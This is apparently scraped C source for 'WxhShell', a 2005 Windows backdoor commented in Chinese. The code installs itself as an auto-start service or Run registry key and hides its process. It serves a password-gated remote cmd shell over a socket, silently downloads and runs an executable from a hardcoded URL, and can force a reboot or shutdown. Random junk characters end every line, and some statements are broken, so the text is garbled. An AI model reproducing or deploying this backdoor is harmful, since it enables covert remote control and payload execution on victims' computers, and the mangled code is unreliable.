    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R'#[}s  
    else { ;8Z\bHQ>  
    closesocket(wsh); N8<Wm>GLX~  
    ExitThread(0); +/g/+B_b  
    } E1atXx  
    break; 9~6FWBt  
    } ^Fy{Q*p`(  
  // 获取shell Qx9lcO_  
  case 's': { a0vg%Z@!  
    CmdShell(wsh); t@a2@dX|  
    closesocket(wsh); C?UV3  
    ExitThread(0); ZDmBuf q  
    break; 0;*1g47\  
  } h\ZnUn_J  
  // 退出 0>uMR{ #  
  case 'x': { Q%.V\8#|V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4X0k1Fw)Y  
    CloseIt(wsh); [Rz9Di ;  
    break; ``~7z;E%@  
    } Us4ijR d  
  // 离开 vgfLI}|5  
  case 'q': { @O;gKFx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {X=gjQ9  
    closesocket(wsh); bt=%DMTn  
    WSACleanup(); hf2Q;n&V  
    exit(1); vJX3fE }F  
    break; x Z 3b)j2D  
        } %p5%Fs`sd  
  } mk)F3[ ke  
  } %UquF  
ail%#E8  
  // 提示信息 &dqC =oK]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 82w='~y  
} +doZnU,  
  } 29]T:I1d[  
H /E.R[\+x  
  return; F`l r5  
} F,Ls1  
0]tr&BLl*  
// shell模块句柄 ={Bcbj{  
int CmdShell(SOCKET sock) 4I"p>FIkY  
{ MGH(= w1  
STARTUPINFO si; _z:7Dj#  
ZeroMemory(&si,sizeof(si)); WU:~T.Su  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [L.+N@M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [4V{~`sF  
PROCESS_INFORMATION ProcessInfo; [25[c><:w"  
char cmdline[]="cmd"; }L.xt88  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s~ZLnEb  
  return 0; `QH-VR\_  
} (Rqn)<<2  
M.|@|If4?  
// 自身启动模式 +tbG^w %  
int StartFromService(void) |hsg= LX  
{ [.M<h^xrB  
typedef struct +{Qk9Z  
{ BDW%cs  
  DWORD ExitStatus; I]HrtI  
  DWORD PebBaseAddress; WoP5[.G  
  DWORD AffinityMask; [:cy.K!Uo%  
  DWORD BasePriority; Wb*A};wE  
  ULONG UniqueProcessId; n H)6mOYp  
  ULONG InheritedFromUniqueProcessId; <cQ)*~hN  
}   PROCESS_BASIC_INFORMATION; t5r,3x!E  
#0K122oY  
PROCNTQSIP NtQueryInformationProcess; oyQp"'|N  
Pr |u_^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W\JbX<mQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]a4rA+NFLB  
89*txYmx  
  HANDLE             hProcess; >w,o|  
  PROCESS_BASIC_INFORMATION pbi; 2!Bjs?K<bv  
jQ &$5&o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SE%B&8ZD  
  if(NULL == hInst ) return 0; m+y5Q&;f  
inO)Y]|f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nj8 `<Sl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gq[|>Rs75  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -+^E5  
zZ rUS'8  
  if (!NtQueryInformationProcess) return 0; clE_a?  
{Kn:>l$*7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xign!=  
  if(!hProcess) return 0; B@P +b*%  
?`wO \>y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X,m6#vLK2  
LxWnPi ^  
  CloseHandle(hProcess); $a^YJY^_  
xcBV,[E{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c&!EsMsU  
if(hProcess==NULL) return 0; W4 v/,g>  
p.(8ekh  
HMODULE hMod; H/qv%!/o  
char procName[255]; Ne{2fV>8Ay  
unsigned long cbNeeded; [PVem  
AfU~k!4`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WCK;r{p%I  
FW](GWp`:  
  CloseHandle(hProcess); S8 +GM  
Q8] lz}  
if(strstr(procName,"services")) return 1; // 以服务启动 $)UMRG  
V1[Cc?o  
  return 0; // 注册表启动 u\LbPk  
} *G'R+_tdE  
G/l 28yt  
// 主模块 N~c Y~a  
int StartWxhshell(LPSTR lpCmdLine) 2~yYwX  
{ R#D>m8&}3  
  SOCKET wsl; CC?L~/gPN  
BOOL val=TRUE; )Sz2D[@n  
  int port=0; ${(c `X  
  struct sockaddr_in door; l* ~".q;S  
'@~\(SH  
  if(wscfg.ws_autoins) Install(); \Y37wy4  
m tPmVze  
port=atoi(lpCmdLine); cV=0)'&<`_  
1N8:,bpsT  
if(port<=0) port=wscfg.ws_port; dvPK5+0W?  
2n/cq K   
  WSADATA data; @xKfqKoqg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]+C;C  
XTzz/.T;Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /z'fFl^6O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *@2+$fgz  
  door.sin_family = AF_INET; 58TH|Rj+I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); = JE4C9$,  
  door.sin_port = htons(port); dfo_R  
w(>mP9Cb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 33O O%rWi  
closesocket(wsl); ]UtfI  
return 1; /UwB6s(  
} n U0  
S6Er# )k  
  if(listen(wsl,2) == INVALID_SOCKET) { tc.`P]R   
closesocket(wsl); # Uc0 W  
return 1; BWtGeaW/sr  
} qFqK. u  
  Wxhshell(wsl); &OK[n1M  
  WSACleanup();  1rnbUE  
w$E8R[J~P  
return 0; 9E@}@ZV(  
@51!vQwqR  
} #Cj$;q{!  
P4h^_*d  
// 以NT服务方式启动 )GbVgYkk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8eAc 5by  
{ #YABb wH  
DWORD   status = 0; $w:7$:k  
  DWORD   specificError = 0xfffffff; &:]ej6 V'[  
=Gl6~lJ{_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G<dWh.|`=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \{g;|Z 1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y{Fq'w!ap  
  serviceStatus.dwWin32ExitCode     = 0; d9@Pze">e  
  serviceStatus.dwServiceSpecificExitCode = 0; <1^\,cI2  
  serviceStatus.dwCheckPoint       = 0; ;+86q"&n  
  serviceStatus.dwWaitHint       = 0; DK\Ud6w  
*x0nAo_n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s":\ >  
  if (hServiceStatusHandle==0) return; 5eP0W#  
} `X.^}oe  
status = GetLastError(); TbK;_pg  
  if (status!=NO_ERROR) t<UtSkE1  
{ 3#d?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '[T#d!T  
    serviceStatus.dwCheckPoint       = 0; aDDs"DXx  
    serviceStatus.dwWaitHint       = 0; In3},x +$  
    serviceStatus.dwWin32ExitCode     = status; ;*~y4'{z  
    serviceStatus.dwServiceSpecificExitCode = specificError; KG2ij~v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {[ E7Cf  
    return; ;usv/8  
  } LTof$4s  
+Jf4 5[D   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Oo)MxYPU  
  serviceStatus.dwCheckPoint       = 0; -GqMis}c  
  serviceStatus.dwWaitHint       = 0; Rt%3\?rf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U]8 @  
} @c >a  
o?9k{  
// 处理NT服务事件,比如:启动、停止 equ|v~@ y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *8WcRx  
{ >TnV Lx<  
switch(fdwControl) @,=E[c 8  
{ Q')0 T>F-  
case SERVICE_CONTROL_STOP: UNoNsmP  
  serviceStatus.dwWin32ExitCode = 0; #3+-vyZm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P7X':  
  serviceStatus.dwCheckPoint   = 0; &efwfnG<  
  serviceStatus.dwWaitHint     = 0; J2va Kl  
  { ]j^V5y"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 c%*u {=:  
  } $@VQ{S  
  return; BGe&c,feIc  
case SERVICE_CONTROL_PAUSE: $<]G#&F   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C>A*L4c]F  
  break; JQ[~N-  
case SERVICE_CONTROL_CONTINUE: @P$_2IU"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f^EDiG>b`  
  break; z 8w&;Ls  
case SERVICE_CONTROL_INTERROGATE: MO1t 0Myc  
  break; iJ7?6)\  
}; xlhc`wdm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#>1$0yv  
} 7GyJmzEE  
@D'NoA@1A  
// 标准应用程序主函数 c~bTK" u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =}8:zO 2'{  
{ GfG!CG^ %  
f{[] m(X;  
// 获取操作系统版本 5os(.   
OsIsNt=GetOsVer(); Wej'AR\NX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wM2[i  
Zn-F!Lsv  
  // 从命令行安装 s}O9[_v  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z*M]AvO+#  
Fq-A vU  
  // 下载执行文件 McXid~  
if(wscfg.ws_downexe) { IM^K]$q$47  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BB>R=kt  
  WinExec(wscfg.ws_filenam,SW_HIDE); !_ng_,J  
} YNRorE   
<8'-azpJ6<  
if(!OsIsNt) { m\Xgvpv rP  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vk#wJ-  
HideProc(); F$!K/Mm[  
StartWxhshell(lpCmdLine); 9q4%s?)j  
} 3BSJ|o<"=  
else QoU0>p+ 2  
  if(StartFromService()) NI1jJfH|l  
  // 以服务方式启动 + Q $J q  
  StartServiceCtrlDispatcher(DispatchTable); ;I#f:UQ  
else gbl`_t/  
  // 普通方式启动 }8zw| (GR,  
  StartWxhshell(lpCmdLine); sfN6ro  
~ .dmfA{  
return 0; 7e`ylnP!  
} C5W} o:jE  
H J8rb  
{dbPMx  
E|Q|Nx!6[  
=========================================== *[QFIDn:  
;1wRo`RD  
9/@7NNKJ  
3=)!9;uY  
{p70( ]v  
G!^}z (Mgi  
" ~0^d-,ZD5  
k3w(KH @  
#include <stdio.h> YyF=u~l  
#include <string.h> 2<  "-  
#include <windows.h> (;Ad:!9{  
#include <winsock2.h> g aq"+@fH  
#include <winsvc.h> 5V{> 82  
#include <urlmon.h> gaIN]9wLm  
??7c9l5,  
#pragma comment (lib, "Ws2_32.lib") :B(vk3;U!  
#pragma comment (lib, "urlmon.lib")  3g#  
"s6\l~+9l  
#define MAX_USER   100 // 最大客户端连接数 =MsQ=:ZV  
#define BUF_SOCK   200 // sock buffer "P@jr{zvMd  
#define KEY_BUFF   255 // 输入 buffer j\uh]8N3<  
6^'BhHP  
#define REBOOT     0   // 重启 A%zX LV=3O  
#define SHUTDOWN   1   // 关机 DC5^k[m  
$&C~Qti|G  
#define DEF_PORT   5000 // 监听端口 ?KKu1~a_  
v{T%`WuPRf  
#define REG_LEN     16   // 注册表键长度 p1blPBlp  
#define SVC_LEN     80   // NT服务名长度 vpoYb  
J'=iEI  
// 从dll定义API {?zBc E:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <uYeev%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jnu!a.H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >p[skN   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !L=RhMI  
j$5S_]2  
// wxhshell配置信息 ]'[(MH"  
struct WSCFG { [`]h23vRW  
  int ws_port;         // 监听端口 \D<w:\P  
  char ws_passstr[REG_LEN]; // 口令 {wNNp't7  
  int ws_autoins;       // 安装标记, 1=yes 0=no fGz++;b<S  
  char ws_regname[REG_LEN]; // 注册表键名 uDWxIP,m  
  char ws_svcname[REG_LEN]; // 服务名 &>T7]])  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dYn<L/#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *wd@YMOP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X;vfbF   
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~:ldGfb|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *>#mI/#}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'Wv`^{y <^  
;L{#TC(]J]  
}; EW:tb-%`  
Wj}PtQ%lp/  
// default Wxhshell configuration \uUd *  
struct WSCFG wscfg={DEF_PORT, Q~y) V  
    "xuhuanlingzhe", K4[X P]\jr  
    1, ;GjZvo  
    "Wxhshell", :=J^"c  
    "Wxhshell", D J:N  
            "WxhShell Service",  el"XD"*  
    "Wrsky Windows CmdShell Service", Hx|<NS0}_  
    "Please Input Your Password: ", yltzf #%  
  1, |_ADG  
  "http://www.wrsky.com/wxhshell.exe", 8do7`mN  
  "Wxhshell.exe" P> wDr`*  
    }; /KCJ)0UU  
fEMz%CwH  
// 消息定义模块 p3L0'rY|+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mx ]a@tu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9td[^EB#(h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \GFFPCi4 D  
char *msg_ws_ext="\n\rExit."; j/Dc';,d.(  
char *msg_ws_end="\n\rQuit."; p[&6hXTd  
char *msg_ws_boot="\n\rReboot..."; ~dm/U7B:  
char *msg_ws_poff="\n\rShutdown..."; -UMPt"o  
char *msg_ws_down="\n\rSave to "; n_qDg  
d${RZ}/  
char *msg_ws_err="\n\rErr!"; IcDAl~uG  
char *msg_ws_ok="\n\rOK!"; ="<S1}.  
5e|2b] f$  
char ExeFile[MAX_PATH]; waYH_)Zx  
int nUser = 0; ]-D&/88``  
HANDLE handles[MAX_USER]; 5YW.s   
int OsIsNt; 4P(ysTuM  
B4>kx#LR  
SERVICE_STATUS       serviceStatus; ZnVx 'Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VY#:IE:T  
;#>,eD2u  
// 函数声明 )= :gO`"D  
int Install(void); 8!!iwmH{  
int Uninstall(void); M.(shIu!+  
int DownloadFile(char *sURL, SOCKET wsh); 5IsRIz[`TK  
int Boot(int flag); j0]|$p  
void HideProc(void); `O'@TrI  
int GetOsVer(void); `n{yls7.  
int Wxhshell(SOCKET wsl); [tP6FdS/M=  
void TalkWithClient(void *cs); \`MX\OR  
int CmdShell(SOCKET sock); 1I1Z),  
int StartFromService(void); <.l$jW]  
int StartWxhshell(LPSTR lpCmdLine); TX%W-J _  
GY[+HgT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z ^w5x:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xwm-)~L4T  
HfN:oww  
// 数据结构和表定义 49;2tl;F  
SERVICE_TABLE_ENTRY DispatchTable[] = )RFE< Qcj  
{ r8uc.z2%  
{wscfg.ws_svcname, NTServiceMain}, t622b?w  
{NULL, NULL} |}O9'fyU8  
}; $:aKb#l)  
dl%KD8  
// 自我安装 R[/]iK+!&  
int Install(void) <r1N6(n  
{ Z\)emps  
  char svExeFile[MAX_PATH]; EA/+~ux  
  HKEY key; [8b,}i 1  
  strcpy(svExeFile,ExeFile); !FhiTh:GCh  
u{/!BCKE  
// 如果是win9x系统,修改注册表设为自启动 qDPpGI-Y2e  
if(!OsIsNt) { Ijs"KAW ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u3Jsu=Nx-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^&|$&7  
  RegCloseKey(key); |RdiM&C7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n5yPUJK2L6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T&5dF9a  
  RegCloseKey(key); @rh1W$  
  return 0; %~ROV>&  
    } ST^@7f_  
  } d:x=g i!  
} }&o*ZY-1  
else { LhM{d  
6Ee UiLd  
// 如果是NT以上系统,安装为系统服务 dE _I=v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DJF-J#  
if (schSCManager!=0) qZ:--,9+  
{ p(5'|eqBV  
  SC_HANDLE schService = CreateService Hsoe?kUHF  
  ( }k-rOi'jL  
  schSCManager, SLiQHWw*J  
  wscfg.ws_svcname, *Y2d!9F}Sa  
  wscfg.ws_svcdisp, 9=-!~ _'1-  
  SERVICE_ALL_ACCESS, u}[Z=V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zg3q\ ~  
  SERVICE_AUTO_START, KLc<c1BZ  
  SERVICE_ERROR_NORMAL, P]pVYX# m  
  svExeFile, D-zqu~f`  
  NULL, otsINAizgS  
  NULL, 4eOQP  
  NULL, k?Bc^7l:  
  NULL, Dyx3N5?C  
  NULL A#"AqNVWv  
  ); 4I[g{S nF  
  if (schService!=0) L%7?o:  
  { wN])"bmB  
  CloseServiceHandle(schService); Z~.3)6,z  
  CloseServiceHandle(schSCManager); 05<MsxB"w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oXR%A7  
  strcat(svExeFile,wscfg.ws_svcname); o,fBOPIN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a*8^M\>m4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p^LUyLG`  
  RegCloseKey(key); XOM@Pi#z  
  return 0; n{~W s^d  
    } Y^?J3[@  
  } w:}RS.AK  
  CloseServiceHandle(schSCManager); tXocGM {6C  
} GUe&WW:Sqk  
} .&53WL[D|  
,UdTUw~F  
return 1; ijYSYX@  
} 27;t,Oq}  
UeVRd  
// 自我卸载 P2nb&lVdu  
int Uninstall(void) !2('Cq_^  
{ ~D4%7U"dv  
  HKEY key; 0!n6tz lT  
T/V 5pYl  
if(!OsIsNt) { >Ic)RPO9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { az(u=}  
  RegDeleteValue(key,wscfg.ws_regname); <%(nF+rQA"  
  RegCloseKey(key); Jmln*,Ol7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h5bQ  
  RegDeleteValue(key,wscfg.ws_regname); /^E2BRI  
  RegCloseKey(key); \pzqUTk  
  return 0; CapWn~*g  
  } W*hRYgaX3  
} c%uX+\-$  
} `]^JOw5o  
else { N'fE^jqU  
Os?`!1-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r lalr+Rf  
if (schSCManager!=0) HNA/LJl[VU  
{ ,qgph^C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 89>U Koc?  
  if (schService!=0) Ld[zOx  
  { e+z_Rj%Y;I  
  if(DeleteService(schService)!=0) { G<C[A  
  CloseServiceHandle(schService); Tsez&R$k  
  CloseServiceHandle(schSCManager); *8zn\No<,  
  return 0; Ojx1IL  
  } oEE*H2l\  
  CloseServiceHandle(schService); !\a'GO[  
  } CQo<}}-o  
  CloseServiceHandle(schSCManager); %Ot22a  
} Q'] _3  
} ta*B#2D>  
,%+i}H,3  
return 1; 6xs_@Vk|d  
} /-wAy-W  
kzhncku  
// 从指定url下载文件 JkazB1h  
int DownloadFile(char *sURL, SOCKET wsh) i6)$pARp  
{ a_YE[6  
  HRESULT hr; M@rknq@  
char seps[]= "/"; ZJ9J*5!C  
char *token; C@` eYi  
char *file; ^D(N_va<  
char myURL[MAX_PATH]; ,C88%k  
char myFILE[MAX_PATH]; 3,8>\yf`  
5MH\Gq e7  
strcpy(myURL,sURL); ^+zF;Q'  
  token=strtok(myURL,seps);  _2VL%  
  while(token!=NULL) 3_W1)vd{  
  { %aU4d e^  
    file=token; 6mJa  
  token=strtok(NULL,seps); ( w(GJ/g  
  } O|J`M2r  
1!"0fZh9U  
GetCurrentDirectory(MAX_PATH,myFILE); #Al.Itj  
strcat(myFILE, "\\"); uI7 d?s  
strcat(myFILE, file); 8[SiIuIV  
  send(wsh,myFILE,strlen(myFILE),0); [kx_Izi/T  
send(wsh,"...",3,0); GZ# 6}/;b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gaaW:**y  
  if(hr==S_OK) 0^4uZeW?  
return 0; < @9p|[!  
else >|L,9lR_b  
return 1; oHkF>B [  
agqB#,i  
} XSkN9LqZ  
 h&\%~LO.  
// 系统电源模块 bv`gjR  
int Boot(int flag) jN:!V t  
{ Ycypd\q/  
  HANDLE hToken; 0wV!mC  
  TOKEN_PRIVILEGES tkp; Yxye?R-:  
<o^_il$W  
  if(OsIsNt) {  $j*j {}K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w#w lZ1f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N\?%944R  
    tkp.PrivilegeCount = 1; woJO0hHR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =e/{fUg8f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'f9 fw^  
if(flag==REBOOT) { 5n,?>> p$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E.]sX_X?  
  return 0; !8^:19+  
} je1f\N45  
else { <JE-#i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {dV#"+  
  return 0; MhN)ZhsC  
} rK W<kQT  
  } AAjsb<P  
  else { 6'UtB!gr  
if(flag==REBOOT) { l/,O9ur-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U`_(Lq%5W  
  return 0; ;/#E!Ja/ u  
} nj99!"_   
else { @O#4duM4Qz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CZ*c["x2  
  return 0; :1"{0 gm  
} 8Czy<}S<G  
} ;hi+.ng_  
#/zPAcV:  
return 1;  &o$E1;og  
} euO!+9p  
Hzs]\%"  
// win9x进程隐藏模块 |><hdBQXX<  
void HideProc(void) = R|?LOEK+  
{ )=TD}Xb  
/NCEZ@2BN,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j?D=Ij"o  
  if ( hKernel != NULL ) [$)C(1zY  
  { [@Y<:6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); deSrs:.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m`!C|?hu  
    FreeLibrary(hKernel); bj4cW\b(  
  } `An`"$z  
8FyJo.vr(  
return; E\Hhi.-  
} {"l_x]q  
L6yRN>5aE  
// 获取操作系统版本 9\RSJGx6  
int GetOsVer(void) X96>N{C*>  
{ kD:O$8[J8  
  OSVERSIONINFO winfo; S0nBX"$u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Um 9Gjd  
  GetVersionEx(&winfo); rmmN2+H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,:UoE  
  return 1; Z-;<R$  
  else <@xp. Y  
  return 0; ;}{xpJ/  
} vR<Y1<j  
I`kaAOe  
// 客户端句柄模块 8qL*Nf  
int Wxhshell(SOCKET wsl) dABmK;  
{ sh(G{Yz@  
  SOCKET wsh; #?.Yc%5B  
  struct sockaddr_in client; yS0YWqv]6@  
  DWORD myID; @O9.~6  
laN:H mR8  
  while(nUser<MAX_USER) 7UvfXzDNC  
{ PeGL Rbx34  
  int nSize=sizeof(client); )K.~A&y@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @.ebQR-:H  
  if(wsh==INVALID_SOCKET) return 1; v'0A$`w`  
Ovh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z?`&HU Nf  
if(handles[nUser]==0) P.mz$M  
  closesocket(wsh); -o*IJQ_  
else T8E=}!68w}  
  nUser++; uTGd{w@]0|  
  } ]kA0C~4   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^c3~CD5H 3  
WCT}OiLsL  
  return 0; /n;-f%dL  
} Lbk?( TL  
3a #2 }  
// 关闭 socket rlr)n\R#  
void CloseIt(SOCKET wsh) :&ir5xHS  
{ <4S Y'-w  
closesocket(wsh); IMLk{y%6  
nUser--; O\;Z4qn2=  
ExitThread(0); d;O16xcM/  
} GlYNC&,VL  
-C]RFlV  
// 客户端请求句柄 y?j#;n0  
void TalkWithClient(void *cs) d:*,HzG  
{ i-[ic!RnKj  
0A\OZ^P8  
  SOCKET wsh=(SOCKET)cs; OW1i{  
  char pwd[SVC_LEN]; |?{3&'`J8w  
  char cmd[KEY_BUFF]; 8px@sXI*`  
char chr[1]; 8P5yaS_  
int i,j; xo2PxUO  
SskvxH+7  
  while (nUser < MAX_USER) { rC.z772y%  
7Y T%.ID  
if(wscfg.ws_passstr) { GJN"43  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :U_k*9z}=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8&?Kg>M  
  //ZeroMemory(pwd,KEY_BUFF); 1'DD9d{ qN  
      i=0; qYFOHu  
  while(i<SVC_LEN) { -N;$L~`iAt  
.%;`: dtj  
  // 设置超时 FJo  ?~  
  fd_set FdRead; /H.w0fu&.S  
  struct timeval TimeOut; P{j2'gg3  
  FD_ZERO(&FdRead); 3lzjY.]Pgv  
  FD_SET(wsh,&FdRead); +bpUb0.W  
  TimeOut.tv_sec=8; $SAq/VHI1]  
  TimeOut.tv_usec=0; ssaEAm:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pw|f4c7AH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xR;>n[6  
r >bMx~a]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~L\KMB/9e=  
  pwd=chr[0]; j"6r]nc&  
  if(chr[0]==0xd || chr[0]==0xa) { <,!8xp7,~  
  pwd=0; \]RPxM:_>  
  break; o2M+=O@  
  } Xc"l')1H  
  i++; "B`k  
    } ]@E_Hx{S  
q"){P RTm/  
  // 如果是非法用户,关闭 socket n;&08M5an}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FW* k O  
} y4sKe:@2  
OsI>gX>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SOE 5`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fz/Ee1T\  
ED0\k $  
while(1) { We%HdTKT  
%siBCjvo=  
  ZeroMemory(cmd,KEY_BUFF); ='r86vq  
{A!1s;  
      // 自动支持客户端 telnet标准   Fg` P@hC  
  j=0; l0Rjq*5hJ  
  while(j<KEY_BUFF) { >s0A.7,5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +xoh=m  
  cmd[j]=chr[0]; a)L\+$@*  
  if(chr[0]==0xa || chr[0]==0xd) { 581Jp'cje  
  cmd[j]=0;  TA;r  
  break; ."`mh&+`  
  } >]b>gc?3  
  j++; sVXIR  
    } 9*fA:*T  
q!UN<+k\h  
  // 下载文件 0,a/t jSr  
  if(strstr(cmd,"http://")) { =VA5!-6<Uq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I*h%e,yIO  
  if(DownloadFile(cmd,wsh)) : jgvg$fd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NsbC0xLd  
  else 2ed4xh V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? 2#tIND  
  } &Bn> YFu  
